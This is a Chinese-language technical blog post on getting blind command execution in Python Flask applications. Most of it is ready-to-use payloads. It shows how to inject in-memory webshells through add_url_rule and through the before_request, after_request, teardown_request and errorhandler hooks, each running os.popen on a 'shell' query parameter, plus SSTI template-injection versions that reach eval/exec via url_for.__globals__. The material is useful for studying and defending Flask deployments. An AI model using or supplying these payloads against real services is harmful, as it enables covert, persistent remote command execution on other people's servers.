python无回显下的命令执行
关于python命令执行不出网无回显的情况下主要分为两种情况,开启debug未开启debug
开启debug
使用exec("raise%20Exception(__import__(%27os%27).popen(%27whoami%27).read())")
来进行报错输出命令执行结果
未开启debug
add_url_route
在老版本的flask在进行请求后仍然是可以通过addurlroute来添加路由的,但是新版本对其进行了修改导致其无法注入内存马,但是老版本还是可以使用的1
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen(request.args.get('shell')).read())
通过`sys.modules[‘main‘].__dict[‘app’]获取该flask下的app。而后调用add_url_rule。
def add_url_rule(self,rule: str,endpoint: str | None = None,view_func: ft.RouteCallable | None = None,provide_automatic_options: bool | None = None,**options: t.Any,)`
我们使用的内存马的三个参数第一个是路由,第二个是端点,第三个就是利用了lambda来定义一个匿名函数。此函数作为该路由的视图函数,这样只要使用eval或exec来执行如上命令,就可以创建一个命令执行的路由。
利用钩子函数
before_request
before_request 这个方法可以让我们在每次请求时执行运行操作。
步入这个函数可以发现如下代码
可以发现其实我们定义的识图函数就是传入的f,那么我们就可以通过app.before_request_funcs.setdefault(None, []).append(lambda a:xxxxx)
通过传入匿名函数来进行在每次请求时都执行这个匿名函数,那么这个匿名函数为后门时就会成功在每次请求前都命令执行
payload如下1
__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('shell')).read())
我们还可以使用if语句来对内存马进行改造让其看的更舒服
但是使用如上payload会导致正常业务逻辑出现问题,
因为这是在请求前就运行了这个函数,导致响应被提前返回这就导致了业务逻辑出现错误。这就需要下面的after_request函数来进行不影响业务逻辑的内存马注入。
after_request
1 | __import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())) |
after_request和前面一个类似,只是该函数是每个请求后运行一次这个函数,且视图函数的参数就是response对象。那么我们只要奖上面的payload进行改造然其在未输入shell参数时返回我们的response即可让业务逻辑正常进行如下1
__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') else resp)
还可以在判断语句中加request.path.startswith(“/shell”)来规定在什么路由下才会返回命令执行的内容如下
1 | __import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') and request.path.startswith('/shell') else resp) |
teardown_request
teardown_request的底层函数调用和前面的很相似
那么我们只要奖前面的进行更改即可1
__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda resp:__import__('os').popen(request.args.get('shell')).read())
但是其仍然无回显,即其无法达到我们进行无回显命令执行的效果,其比较大的作用可能就是进行命令执行的bypass
errorhandler
errorhandler在一些用户设定的状态码下运行函数,如404,5001
2
3
def handle_error(error):
return "aaa"
如上在404是就会触发handle_error函数
步入其函数会发现其底层为self._get_exc_class_and_code(code_or_exception)
和self.error_handler_spec[None][code][exc_class] = f
code_or_exception就是触发的响应状态码,f就是函数。
那么我们就可以写出payload了1
exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()
上面的代码因为是多行代码所以无法使用eval来运行只能使用exec来运行。
与SSTI中的使用
before_request
在SSTI中我们上述payload中的request等都是不能直接使用都是需要导入的,即如下1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('shell')).read())",{'request':url_for.__globals__['request']})}}
利用flask的内置函数urlfor来得到eval进而执行命令,而request还需要通过`{‘request’:urlfor.__globals[‘request’]}`来将其定义为flask中的request
after_request
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') else resp)",{'request':url_for.__globals__['request']})}} |
after_request也相似
teardown_request
1 | {{url_for.__globals__.__builtins__["exec"]("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda resp:__import__('os').popen(request.args.get('shell')).read())",{'request':url_for.__globals__['request']})}} |
errorhandler
这个同样1
{{url_for.__globals__.__builtins__["exec"]("exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for.__globals__['request']})}}
只是需要更改一些命令执行的函数为exec
这个的内存马我还看到了有的师傅使用了global来奖code和exc_class定义为全局变量,但是在实验中发现其实并不需要但是我还是给一下这个payload
1 | {{url_for.__globals__.__builtins__["exec"]("global exc_class;global code;exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for.__globals__['request']})}} |
pickle的应用
新版FLASK下python内存马的研究
这给师傅已经奖pickle的方法讲的很清楚了,本人这篇文章也是学自这位师傅